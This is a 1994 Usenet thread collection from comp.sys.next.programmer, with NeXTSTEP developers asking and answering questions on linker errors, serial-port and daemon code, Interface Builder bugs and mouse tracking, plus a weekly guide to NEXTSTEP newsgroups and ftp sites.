Newsgroups: comp.sys.next.programmer From: Neil Greene <Neil@bMD.com> Subject: Re: NS 3.2 make profile error Message-ID: <1994Mar5.062220.18060@bMD.com> Sender: neil@bMD.com (Neil Greene) Organization: benchMark Developments, Inc. (Lex., KY) References: <2l86te$mli@news.duke.edu> Date: Sat, 5 Mar 1994 06:22:20 GMT In article <2l86te$mli@news.duke.edu> tyler@casey.mc.duke.edu (Tyler Gingrich) writes: > > > I'm attempting to make profile for a 3.2 application and I get the > following error from ld...... > > ld: multiple definitions of symbol _exit > /lib/gcrt0.o definition of _exit in section (__TEXT,__text) > /lib/libsys_s.a(exit.o) definition of absolute _exit (value 0x50024b0) > *** Exit 1 > Stop. > > Anybody know a workaround for this??? Or better yet, anybody know what > might be causing this error?? Tyler, I have been waiting for a new post from you. Those email addresses are worse then shooting off a flare gun. They just give you away. I used to have you in my Address book, now I have a seperate addresss book just for you. How do you keep up with all your different passwords? :-) -- Sincerely, Neil Greene
From: karl_rit@news.delphi.com (KARL_RITTER@DELPHI.COM) Newsgroups: comp.sys.next.programmer Subject: MyText doesn't scroll inside ScrollView Date: 5 Mar 1994 11:03:22 -0500 Organization: Delphi Internet Services Corporation Message-ID: <2laaga$b5q@news.delphi.com> Keywords: scrolling I am having the following problem. I subclassed the Text object, call it MyText, and I made it the docView of a ScrollView (via the IB). For some reasons, when MyText changes size, the ScrollView does not reflect this. No scrollers! I know that MyText grows because when typing outside the view, the text is displayed after the window is resized. Some of the different things that I have tried are calling the -calcLine method inside -textWillResize:. That didn't work. I have tried setVertResizable:YES, but again nothing. I thought that I found the problem when I called reflectScroll in -textWillResize: but again nothing. I have tried many different combinations, and dissected the Online doc but found nothing that worked. I certainly would appreciate any suggestions you can come up with. Karl karl_ritter@delphi.com
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee) Newsgroups: comp.sys.next.programmer Subject: Re: c<->c++ linkage conventions? Date: 5 Mar 1994 10:48:30 -0600 Organization: NeoSoft Internet Services +1 713 684 5969 Message-ID: <2lad4u$rbh@sugar.NeoSoft.COM> References: <2l8l43$fig@netnews.upenn.edu> In article <2l8l43$fig@netnews.upenn.edu>, Joe Panico <joe@retina.anatomy.upenn.edu> wrote: > >Hi, > >I'm calling c++ functions (not member functions), which reside in >.cc files, from c source code, living in .c files. I'm compiling >both together (no libraries involved) with the g++ on NSI 3.2. >There seems to be some linkage convention incompatability. >Specifically: > >/* file1.c */ >#include "file2.h" > >main() { > > cplusplus_function(); >} > >// file2.h >void cplusplus_function(); > >// file2.cc > >void cplusplus_function() { >..... >} > >produces this error: >ld: Undefined symbols: >_cplusplus_function > >It's well documented how to specify c linkage convention to c++ source >(extern "C"...), but how does one specify c++ linkage convention to >c source? > >Any tips appreciated. Thanks. > >Joe Panico >joe@retina.anatomy.upenn.edu > There is no standard way to do it. Perhaps you could run nm on file2.cc to find the mangled name (or use strings) and call that from file1.c. But that would be disgusting.
From: jeddak@panix.com (Jonathan Donald) Newsgroups: comp.sys.next.programmer Subject: Re: Undo command in Edit?? Date: 5 Mar 1994 13:38:26 -0500 Organization: PANIX Public Access Internet and Unix, NYC Distribution: world Message-ID: <2lajj2$o63@panix.com> References: <2l5k9t$ofk@netnews.upenn.edu> Joe Panico (joe@retina.anatomy.upenn.edu) wrote: : it's hard to believe that Edit doesn't-- maybe the most useful : command of all time. Am I missing something? Does Edit have this : feature? If not, is there a better Next based programmers editor : (NOT EMACS)? no
From: bajwa@ucs.ubc.ca (Bob Bajwa) Newsgroups: comp.sys.next.programmer Subject: InterBase DBadaptor? Date: 5 Mar 1994 23:20:58 GMT Organization: University Computing Services, UBC, Canada Message-ID: <2lb44q$fgu@nnrp.ucs.ubc.ca> Keywords: InterBase, dbadaptor I got my copy of Borland InterBase yesterday. Now I am desperately looking for the DBAdaptor for InterBase. I did call InterBase Tech support but they asked me to contact NeXT. Does anyone know if NeXT has released this Adaptor? Any help would be greatly appreciated. -bob bajwa bajwa@ucs.ubc.ca (NeXTMail Preferred!)
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer,misc.legal.computing Subject: Re: General Objectware License Date: 6 Mar 1994 00:07:00 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2lb6r4$qv2@Times.Stanford.EDU> References: <9403050325.AA01105@stokeisland.ohi.com> Christopher J. Traynor writes | | [Why would an author ever want to use this license?] | The entire license is based on one simple premise: Anyone that will pay for objectware up front will certainly pay for it under a more generous policy. So I don't expect to lose any sales from the thousands of developers that will ignore the license and steal my work. I'll lose a few sales from people that try it and decide not to use it, but good customer relations would demand that I give those people a refund anyway. On the other hand, I expect the advantages of free distribution and free source code to generate many sales that I wouldn't otherwise get. In particular, letting developers use my objectware in free software should increase its exposure far beyond anything I could ever generate myself. There will, doubtless, always be well meaning individuals that intend to pay for a commercial license, but somehow always seem to forget, or seem just a little short of cash. Time will tell whether I've overestimated the integrity of the average developer. It goes without saying that this type of license would never work for end user applications. I somehow expect commercial developers to be just a little more aware of the need to uphold intellectual property. | | [Questions about the wisdom of releasing source code.] | This debate never ends. With regards to objectware, I stand firmly in the camp that access to source gains many more sales than it loses. Moreover, I wanted a distribution scheme that didn't rely on people coming to me to get what they needed. But I'll concede that this is one place where people might differ and like to write their own license agreements. | | [Unhappiness about the hubris of a "General Objectware License" at the | beginning of Chris's post.] | Chris, relax. Nobody ever suggested the license would cover every purpose. I designed it, after all, from working on a specific project. Only afterwards did I try and generalize it so that others could adapt it to their own software. Don't feel any obligation to use it if you don't like it. --- Scott Roy Department of Computer Science Stanford University
From: bill@alamut.lifesci.ucla.edu (William M. Eldridge) Newsgroups: comp.sys.next.programmer Subject: Library for _getcwd ? (Mosaic) Date: 5 Mar 1994 17:07:50 -0800 Organization: UCLA Cognitive Science Research Program Message-ID: <2lbad6$guj@alamut.lifesci.ucla.edu> I've been completely hacking up the Mosaic 2.2 distribution to get it to compile (I'll be surprised at this point if it then runs) under 3.0 (don't ask) and co-Xist Motif, and I've gotten down to the last linking (past it looking for _strdup & _putenv) where it can't find _getcwd. H And neither can I. I've done "strings * | grep getcwd" on all the library directories I can think of, and still nothing. Anywone have an idea what additional library to include? Thanks, Bill -- Bill Eldridge bill@lifesci.ucla.edu Have you air-hugged your child today? 310-206-3960 (3987 fax)
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Problem when starting Interface Builder Message-ID: <1994Mar6.003327.5757@afs.com> Sender: greg@afs.com References: <2l2g2i$rnv@bones.et.byu.edu> Date: Sun, 6 Mar 1994 00:33:27 GMT In article <2l2g2i$rnv@bones.et.byu.edu> yackd@alaska.et.byu.edu (Don Yacktman) writes: > It's a bug in IB that can be tickled by certain palettes. For > example, the MiscCoolButtons palette in the MiscKit. (We just > discovered this.) Apparently, later versions of IB don't have > trouble with this, but on 3.0[1 ? ] there is a problem. The > workaround is to delete the IB default setup file (I forget > the name, but you'll know it when you see it) from your .NeXT > directory and make sure that your prefs are set to NOT have that > palette loaded whenever you quit IB. Loading the palette at > launch appears to tickle some crazy bug...I wish I knew why... > I suspect that other palettes can cause the same problem, too. In my experience, it's a little more complex than this. We have traced the problem to IB recording information in data.classes (a file inside the nib wrapper with outlet and action information) about every class that was available in every nib loaded at the time the nib file was last saved, EVEN IF THE OBJECTS ON SOME PALETTES ARE NOT USED. If you later try to reload the nib file, it fails due to references to classes that are not currently rld'd into IB. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: what is a (const char*const *) & how? Message-ID: <1994Mar6.010853.11097@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2l790m$fg1@gpo.gb.swissbank.com> Date: Sun, 6 Mar 1994 01:08:53 GMT Good catch. It should be null-terminated and I do recommend using NULL instead of 0. const char *names[] = {"Joe Slider", "David Button", "Rob Switch", NULL}; const char *numbers[] = {"5551212", "5778500", "5552000", NULL}; Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2l790m$fg1@gpo.gb.swissbank.com> griffid@gb.swissbank.com (Dave Griffiths) writes: > In article <1994Mar3.040134.2552@hot.com> Robert La Ferla > <Robert_La_Ferla@hot.com> writes: > |> It is a constant pointer to a constant character pointer or in other > |> words a non-changeable list of non-changeable strings. > |> > |> Here's how to create them: > |> > |> const char *names[] = {"Joe Slider", "David Button", "Rob Switch"}; > |> const char *numbers[] = {"5551212", "5778500", "5552000"}; > > Might be an idea to change that to: > > const char *names[] = {"Joe Slider", "David Button", "Rob Switch", 0}; > const char *numbers[] = {"5551212", "5778500", "5552000", 0}; > > Since the faxPSCode method has no parameter to tell it how many entries > are in the list, so it presumably expects null-termination. > > Dave Griffiths
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Library for _getcwd ? (Mosaic) Date: 6 Mar 1994 09:56:29 GMT Organization: San Francisco State University Message-ID: <2lc9cd$nfu@nic-nac.CSU.net> References: <2lbad6$guj@alamut.lifesci.ucla.edu> In article <2lbad6$guj@alamut.lifesci.ucla.edu> bill@lifesci.ucla.edu (William M. Eldridge) writes: > I've gotten down to the last >linking (past it looking for _strdup & _putenv) >where it can't find _getcwd. Gee, I wonder what kind of machines NCSA uses for development? According to DNS, their favorite UNIX systems are Suns. (No surprise there.) Funny, Sun's man page for getcwd() quite specifically advises against using it--suggesting getwd() as the preferred replacement. NCSA Mosaic looks soooo cute. Too bad it runs like a dog and the code ... oh, never mind. -=EPS=- "Really looking forward to OmniWeb" -- All too often, "free" software is worth what you pay for it.
Newsgroups: comp.sys.next.programmer From: schaik@cnplss5.cnps.philips.nl (Willem van Schaik) Subject: Source to read/write NeXT COM ports. Message-ID: <1994Mar6.131620.10740@cnplss5.cnps.philips.nl> Sender: news@cnplss5.cnps.philips.nl (USENET News System) Organization: Philips Communications & Processing Services, Eindhoven Date: Sun, 6 Mar 1994 13:16:20 GMT Hi you all, Because of a question raised some days ago, I post here some code that gives a first frame-work to read and write the NeXT serial ports. The code as given is only providing a kind of loopback, so not very usefull. You must also include more assignments of ttypars variables, when you need to change baudrates, etc. The main purpose of this post is to give you enough buzzwords to be used with man for finding more detailed info. BTW only tested on good old black hardware. Willem ------8X===------------------------------------------------------------ /* * include files */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <sys/file.h> #include <sys/ioctl.h> /* * defines */ #define TRUE 1 #define FALSE 0 #define TTY_DEVICE "/dev/ttyb" #define STR_LEN 255 /* * main */ extern int main () { int ttyfd; struct sgttyb ttypars; int ttyrd; int ttywr; char ttystr[STR_LEN]; long avail; if ((ttyfd = open (TTY_DEVICE, O_RDWR)) <= 0) { printf ("Tty232: can't open %s\n", TTY_DEVICE); exit (-1); } else { if (gtty (ttyfd, &ttypars) < 0) { printf ("Tty232: can't get port parameters\n"); close (ttyfd); exit (-1); } printf ("ttypars.ispeed = %02X\n", ttypars.sg_ispeed); printf ("ttypars.ospeed = %02X\n", ttypars.sg_ospeed); printf ("ttypars.erase = %02X\n", ttypars.sg_erase); printf ("ttypars.kill = %02X\n", ttypars.sg_kill); printf ("ttypars.flags = %02X\n", ttypars.sg_flags); ttypars.sg_flags |= (RAW); ttypars.sg_flags &= ~(ECHO); if (stty (ttyfd, &ttypars) < 0) { printf ("Tty232: can't set port parameters\n"); close (ttyfd); exit (-1); } while (TRUE) { ioctl (ttyfd, FIONREAD, &avail); if (avail > 0) { ttyrd = read (ttyfd, ttystr, STR_LEN); ttywr = write (ttyfd, ttystr, ttyrd); } sleep(1); } close (ttyfd); } return; } ----8X====----------------------------------------------------------------- -- W i l l e m v a n S c h a i k ------------------------------------------------------------------------------- Philips TASS schaik@cnplss5.cnps.philips.nl
Newsgroups: comp.sys.next.programmer From: rnielsen@everest.everest.com (Robert D. Nielsen) Subject: Re: Displaying MS-Windows bmp (bitmap) files in NeXTSTEP Message-ID: <CM95yK.2HE@nbn.com> Sender: news@nbn.com Organization: North Bay Network References: <2l8o4g$6tl@sosfc.avtc.sel.sony.com> Date: Sun, 6 Mar 1994 17:01:31 GMT Greetings All, It seems that my address at Sony did not come out right. It is rnielsen@avtc.sel.sony.com (nice and short is not it?) I have heard about a set of utilities called 'pbm' (Portable Bit Map). I will seek them out today and take a look. Anyone know where they are located? Cheers, Robert D. Nielsen In article <2l8o4g$6tl@sosfc.avtc.sel.sony.com> rnielsen@monet (Robert Nielsen) writes: >Greetings all, > >I am looking for info on displaying MS-Windows bmp (bitmap) files in >NeXTSTEP. Since NXImage handles tiff files, what I may be really looking >for is a bmp-to-tiff converter. Anyone have such a beast? Other options >will be considered. > >I will post a summery if people choose to reply to me in private email. > >Cheers, >Robert D. Nielsen
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Templates for c++ on the NSI 3.2?? Date: 6 Mar 1994 17:14:24 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2ld31g$hc7@netnews.upenn.edu> Hi, I know this question has been asked a zillion times before; here is zillion+1; What is the current status on g++, and libg++ for NSI 3.2? Specifically TEMPLATES? How useful can an object oriented lang be without containter classes? I tried making a StringList (List of Strings) using the genclass script as described in GNU-libg++/intro.rtf, but all I got was agiant mess. Has anyone got a newer version of g++ going? If so, were you able to use this same compiler for objective-c, or do you have to switch between the Next supplied gcc and a different one? NeXT has "specially" modified gcc for their own designs, would this be compromised by installing a new "stock" version of gcc? Any info appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: joe@retina.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Objective C on non-NeXT Unix? Date: 6 Mar 1994 17:19:22 GMT Organization: Dept. of Neuroscience, U. of Pennsylvania Distribution: world Message-ID: <2ld3aq$hqv@netnews.upenn.edu> Hi, The version of gcc we are running on our IBM RS/6000 (AIX), ver 3.2.2, claims to be able to compile objective-c. But isn't a special run-time system required to run objective-c programs? Can this environment be created under AIX (or other Unixes)? If so, are the NeXT obj-c libraries available to be compiled on other Unix platforms? Any clues apprecaited. Joe Panico joe@retina.anatomy.upenn.edu
Newsgroups: comp.sys.next.programmer From: fwan4@mach1.wlu.ca (franklin wan 9208 U) Subject: need help for C program!! Message-ID: <CM996C.4GG@mach1.wlu.ca> Organization: Wilfrid Laurier University Date: Sun, 6 Mar 1994 18:10:59 GMT Hi !! does anyone has some source codes about a Optimal Binary Search Tree?? If u do, please send it to my e-mail address : fwan4@mach1.wlu.ca any help will be appreciated!! Thankx!! -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % Franklin Wan (Fung) ~{TF7e~} Year : 3rd % % Department of Computing & Physics Major : Computer Science % % Wilfrid Laurier University Minor : Physics %
Newsgroups: comp.sys.next.programmer From: chuck@benatong.com (Charles G. Bennett) Subject: Re: Daemon doesn't disconnect from terminal! Message-ID: <CM6AJ6.EDE@benatong.com> Sender: usenet@benatong.com Organization: BenaTong References: <2krus4$kve@news.csus.edu> Date: Sat, 5 Mar 1994 03:47:29 GMT In article <2krus4$kve@news.csus.edu> kabirmj@nextnet.csus.edu (Mohammed Kabir) writes: > > > > I am trying to create a daemon with the folloing code but having > trouble getting the process to disconnet itself from the controllling > terminal. Can any one explain whats wrong here? Please send me e-mail > if possible. Thanks > [code munched] This code is based on a piece that I found in "Advanced Programming in the UNIX Environment" by W. Richard Stevens. I consider this book to be a "Must Have" The examples include various flavors of BSD as well as SysV. and the source to the examples can be ftp'd. It's not a "how to program" book. It geta right to the meat of some very sticky problems... When I'm "doing daemons" I use this function call from main.. when it returns you "are" a daemon. daemon_init(void) { int pid; int fd; if( (pid = fork() ) < 0) return( -1); else if (pid != 0) exit (0); //child continues (void) setpgrp(0, getpid()); if ((fd = open("/dev/tty", 2)) >= 0) { (void) ioctl(fd, TIOCNOTTY, (char*)0); (void) close(fd); } /* ignore interrupts */ signal(SIGHUP, SIG_IGN); signal(SIGINT, SIG_IGN); signal(SIGQUIT, SIG_IGN); /* catch termination signal */ signal(SIGTERM, sigcatch); chdir("/"); umask(0); return (0) }
Newsgroups: comp.sys.next.programmer From: bbernhar@silver.ucs.indiana.edu (benjamin bernhard) Subject: archiving objects Message-ID: <CM9MLJ.L2C@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Sun, 6 Mar 1994 23:00:55 GMT Does Nextstep provide any graph traversal help for archiving objects? In other words: With a nested tree structure with at least objects A and B, if Object A contains a reference to Object B and Object B contains a reference to Object A, objects in this structure can not be archived through recursive calls. What common methods are employed to avoid this problem? Is there a supplied archive method that will be intelligent about telling each object to archive itself? Help much appreciated, I'm not in the mood to write a garbage collector. thanks, ben -- __________________________________________________________________________ Ben Bernhard "Nothing that results from human progress 812/339-5304 (fax) is achieved with unanimous consent." bbernhar@cs.indiana.edu ---Christopher Columbus
Newsgroups: comp.sys.next.programmer Subject: TCL's Expect Message-ID: <1994Mar7.033433.3493@math.enmu.edu> From: leon@toolcase.com (Leon Farfel) Date: Mon, 7 Mar 1994 03:34:33 GMT Sender: news@math.enmu.edu Organization: Eastern New Mexico University, Department of Mathematical Sciences I am looking for TCL's Expect module. Thanks. Leon Farfel ToolCASE Computing. Inc (303) 324-1672 Leon@ToolCASE.Com
From: dlincke@sgcl1.unisg.ch (David-Michael Lincke) Newsgroups: comp.sys.next.programmer Subject: Re: Passing arg 2 of 'signal' from incompatible... Message-ID: <1994Mar7.015516.1569@sgcl1.unisg.ch> Date: 7 Mar 94 01:55:16 MET References: <2l6p79$j3o@hecate.umd.edu> Organization: The VooDoo Club (tm) In article <2l6p79$j3o@hecate.umd.edu>, adhir@bigdipper.umd.edu (Alok K. Dhir) writes: > [...] > Here's the situation - I am trying to compile tcsh6.04 and Screen3.2 for > my machine and am having trouble with both of them. I just finished > compiling elm, pine, archie and a few other things I needed and was able > to tackle all the glitches with those, but tcsh and screen are beating > the hell out of me. Both seem to have similar problems... Both report > the following warnings a number of times before they stop: > > : warning: passing arg 2 of `signal' from incompatible pointer type Cast the second argument, it is a pointer to a function to a pointer to a function returning void and taking an interger as argument, e.g. (void (*)(int))ptr > : warning: assignment from incompatible pointer type An appropriate cast will do it there as well. > Thanks for any help. > > Al Dave -- David-Michael Lincke dlincke@sgcl1.unisg.ch
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 6 Mar 1994 23:09:00 -0500 Organization: Next Announcements Message-ID: <2le9cs$i6r@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: archiving objects Message-ID: <CMA15w.Js@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <CM9MLJ.L2C@usenet.ucs.indiana.edu> Date: Mon, 7 Mar 1994 04:15:32 GMT benjamin bernhard writes > With a nested tree structure with at least objects A and B, > if Object A contains a reference to Object B > and Object B contains a reference to Object A, > objects in this structure can not be archived through recursive calls. > What common methods are employed to avoid this > problem? Is there a supplied archive method that will be intelligent > about telling each object to archive itself? lookup NXWriteRootObject() in digital librarian. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: cs911409@ariel.cs.yorku.ca (RICHARD DAVID ASPINALL) Subject: PPP on NeXTStep 3.2 Message-ID: <CMA3sq.AHA@ariel.cs.yorku.ca> Sender: news@ariel.cs.yorku.ca Organization: York University, Dept. of Computer Science Date: Mon, 7 Mar 1994 05:12:26 GMT Has anyone compiled and installed PPP to run on NeXTSTEP 3.2. When I tried to compile I got the following error messages: ppp.c: In function `timeout': ppp.c:636: sizeof applied to an incomplete type ppp.c:640: invalid use of undefined type `struct callout' ..... ppp.c: In function `untimeout': ppp.c:700: invalid use of undefined type `struct callout' ppp.c:700: dereferencing pointer to incomplete type .... anyway I know callout is defined, or at least it listed in /NextDeveloper/Headers/bsd/sys/callout.h and the file is included ... as #include <sys/callout.h> I also tried explicitly importing it with a line like #include "/NextDeveloper/Headers/bsd/sys/callout.h" I suppose I could copy the structure definition over into ppp.h, but that seems like the wrong thing :) to do. Any guidance offered will be gladly accepted, David NEXTMAIL WELCOME .. any size :) -- David Aspinall ---------- Just Another Student Object :) E-mail : cs911409@ariel.cs.yorku.ca | It Takes down my NeXTMail: dave@huma.yorku.ca | pants and Torments me! V-mail : (416) 663-4997 | -- Dieter
From: jds@aplexus.jhuapl.edu (John D Stanhope) Newsgroups: comp.sys.next.programmer Subject: #define ACTIVERBUTTONMASK (NX_RMOUSEUPMASK|NX_RMOUSEDRAGGEDMASK) Date: 7 Mar 1994 12:57:01 GMT Organization: Johns Hopkins U. Applied Physics Lab Distribution: world Message-ID: <2lf8at$787@aplcomm.jhuapl.edu> I need a little help in trying to determine why the below method doesn't work. What I want to do is have a rightMouseDown start a line and then as a drag the mouse the line should move and stretch with it. Unfortunaletly what I get is line starting at the mouse down and then going from on side of the screen to the other regardless of where the mouse is moved. I am guessing that I am missing something in the while loop that gives me the correct mouse position as the mouse is dragged since I get mouse numbers like this Mouse location 174.000000 154.000000 Mouse location 159.000000 -44.000000 Mouse location 144.000000 -242.000000 Mouse location 129.000000 -440.000000 Mouse location 114.000000 -638.000000 Mouse location 99.000000 -836.000000 Mouse location 84.000000 -1034.000000 Mouse location 69.000000 -1232.000000 Mouse location 54.000000 -1430.000000 Mouse location 39.000000 -1628.000000 Mouse location 24.000000 -1826.000000 Mouse location 9.000000 -2024.000000 Mouse location -6.000000 -2222.000000 Mouse location -21.000000 -2420.000000 Mouse location 187.000000 165.000000 Mouse location 172.000000 -33.000000 Mouse location 157.000000 -231.000000 Mouse location 142.000000 -429.000000 Mouse location 127.000000 -627.000000 Mouse location 97.000000 -1023.000000 Mouse location 82.000000 -1221.000000 Mouse location 52.000000 -1617.000000 Mouse location 37.000000 -1815.000000 Mouse location 22.000000 -2013.000000 ^^^^ My screen is nearly this large Here's the offending method - rightMouseDown:(NXEvent *)theEvent { int oldMask; NXPoint start = theEvent->location; NXPoint end = theEvent->location; id line; oldMask = [window addToEventMask:ACTIVERBUTTONMASK]; [self convertPoint:&start fromView:nil]; [line startLine:&start]; [line endLine:&start]; while (theEvent->type != NX_RMOUSEUP) { theEvent = [NXApp getNextEvent:ACTIVERBUTTONMASK]; [self convertPoint:&end fromView:nil]; [line endLine:&end]; [self display]; } [window setEventMask:oldMask]; return self; } Any help would be appreciated, and yes I did look through the Draw examples but that is the most disturbing and hard to follow mouseDown I can imagine. --jds ---------------------------------------------------- Otto "Apes don't read philoshpy" Wanda "Yes they do, they just don't understand it" ----------------------------------------------------
From: jds@aplexus.jhuapl.edu (John D Stanhope) Newsgroups: comp.sys.next.programmer Subject: Re: #define ACTIVER..... (oops) Date: 7 Mar 1994 13:57:25 GMT Organization: Johns Hopkins U. Applied Physics Lab Distribution: world Message-ID: <2lfbs5$9n0@aplcomm.jhuapl.edu> References: <2lf8at$787@aplcomm.jhuapl.edu> Sorry about the subject, It should read something line "Mouse tracking" --jds ---------------------------------------------------- Otto "Apes don't read philoshpy" Wanda "Yes they do, they just don't understand it" ----------------------------------------------------
